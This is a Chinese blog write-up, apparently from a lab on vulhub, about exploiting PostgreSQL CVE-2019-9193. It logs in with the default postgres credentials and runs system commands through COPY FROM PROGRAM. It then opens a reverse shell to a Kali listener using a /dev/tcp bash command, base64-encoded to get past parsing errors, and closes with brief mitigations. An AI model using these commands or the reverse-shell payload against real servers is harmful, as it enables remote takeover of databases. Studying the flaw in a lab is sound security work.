CVE-2019-9193之PostgreSQL?任意命令執(zhí)行漏洞的問題
起序:客戶內(nèi)網(wǎng)測試的時候遇到的,搭建一個環(huán)境,寫個筆記記錄一下。
一、靶場環(huán)境
使用的是
github上的vulhub環(huán)境。PostgreSQL版本為10.7。
vulhub:https://github.com/vulhub/vulhub

1、任意命令執(zhí)行
具有數(shù)據(jù)庫服務(wù)器文件讀取權(quán)限的攻擊者可以利用此漏洞執(zhí)行任意系統(tǒng)命令。
從 9.3 版本開始,Postgres 新增了一個 COPY TO/FROM PROGRAM 功能,允許數(shù)據(jù)庫的超級用戶以及 pg_read_server_files 組中的任何用戶執(zhí)行操作系統(tǒng)命令。
漏洞利用前提:
需要登陸;需要高權(quán)限;
所以要先弱口令爆破之后,然后查看是否是高權(quán)限。(對于PostgreSQL 來說,只有安裝數(shù)據(jù)庫時默認(rèn)創(chuàng)建的超級用戶 postgres,類似于 Linux上的root用戶,擁有高權(quán)限。)
新建數(shù)據(jù)庫用戶:CREATE USER
新建數(shù)據(jù)庫:CREATE DATABASE
刪除數(shù)據(jù)庫:DROP DATABASE
刪除用戶:DROP USER
撤銷權(quán)限:REVOKE
賦權(quán):GRANT
查看權(quán)限:https://www.modb.pro/db/53957
2、影響版本
受影響的版本(貌似更新版本無解)
PostgreSQL >= 9.3
二、漏洞利用
1、啟動靶機(jī)
docker-compose up -d

注:當(dāng)測試完成之后會用到
關(guān)閉靶機(jī)的命令。不是現(xiàn)在就要使用的命令。
docker-compose down -v
2、Navicat 連接 PostgreSQL
賬號密碼:
postgres:postgres。

3、執(zhí)行命令
右鍵
public,點擊新建查詢。

然后就是執(zhí)行下面的這些命令。
-- 先刪除你想要使用但是已經(jīng)存在的表 DROP TABLE IF EXISTS cmd_exec; -- 創(chuàng)建保存系統(tǒng)命令輸出的表 CREATE TABLE cmd_exec(cmd_output text); -- 執(zhí)行系統(tǒng)命令利用特定函數(shù) COPY cmd_exec FROM PROGRAM 'id'; -- 查看執(zhí)行結(jié)果 SELECT * FROM cmd_exec;

4、實戰(zhàn)拓展:反彈 shell 1、nc 監(jiān)聽
在 kali 中使用 nc 進(jìn)行監(jiān)聽。
nc -lvvp 1314

2、執(zhí)行反彈 shell 的命令
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; SELECT * FROM cmd_exec;
但是可以看出執(zhí)行失敗了,這種方法不行。

3、反彈失敗
kali 也沒有得到 shell。

4、編碼解決
將反彈 shell 的命令 base64 編碼一下。(下面的解碼不用管)
# base64 編碼前 /bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1 # base64 編碼后 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次執(zhí)行反彈 shell 的命令
這里的編碼不僅僅限于
base64,其他編碼形式也可以,主要是為了解決數(shù)據(jù)傳輸過程中的特殊字符被異常解析的問題。
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; SELECT * FROM cmd_exec;

6、反彈成功

三、漏洞修復(fù)
pg_read_server_files,pg_write_server_files 和 pg_execute_server_program角色涉及讀取和寫入具有大權(quán)限的數(shù)據(jù)庫服務(wù)器文件。將此角色權(quán)限分配給數(shù)據(jù)庫用戶時,應(yīng)慎重考慮;- 增強密碼的復(fù)雜度;
- 進(jìn)行網(wǎng)絡(luò)隔離,限制 IP 訪問,只允許需要的 IP 連接;
到此這篇關(guān)于CVE-2019-9193:PostgreSQL 任意命令執(zhí)行漏洞的文章就介紹到這了,更多相關(guān)PostgreSQL 任意命令執(zhí)行漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
使用PostgreSQL創(chuàng)建高級搜索引擎的代碼示例
本文我們將探索PostgreSQL中的全文搜索功能,并研究我們能夠復(fù)制多少典型搜索引擎功能,文中有詳細(xì)的代碼示例供大家參考,需要的朋友可以參考下2023-07-07
PostgreSQL教程(四):數(shù)據(jù)類型詳解
這篇文章主要介紹了PostgreSQL教程(四):數(shù)據(jù)類型詳解,本文講解了數(shù)值類型、字符類型、布爾類型、位串類型、數(shù)組、復(fù)合類型等數(shù)據(jù)類型,需要的朋友可以參考下2015-05-05
PostgreSQL中使用數(shù)組改進(jìn)性能實例代碼
這篇文章主要給大家介紹了關(guān)于PostgreSQL中使用數(shù)組改進(jìn)性能的相關(guān)資料,文中通過示例代碼以及圖文介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-12-12
快速解決PostgreSQL中的Permission denied問題
這篇文章主要介紹了快速解決PostgreSQL中的Permission denied問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-01-01
解決postgresql 自增id作為key重復(fù)的問題
這篇文章主要介紹了解決postgresql 自增id作為key重復(fù)的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-02-02
Postgresql數(shù)據(jù)庫之創(chuàng)建和修改序列的操作
這篇文章主要介紹了Postgresql數(shù)據(jù)庫之創(chuàng)建和修改序列的操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-02-02

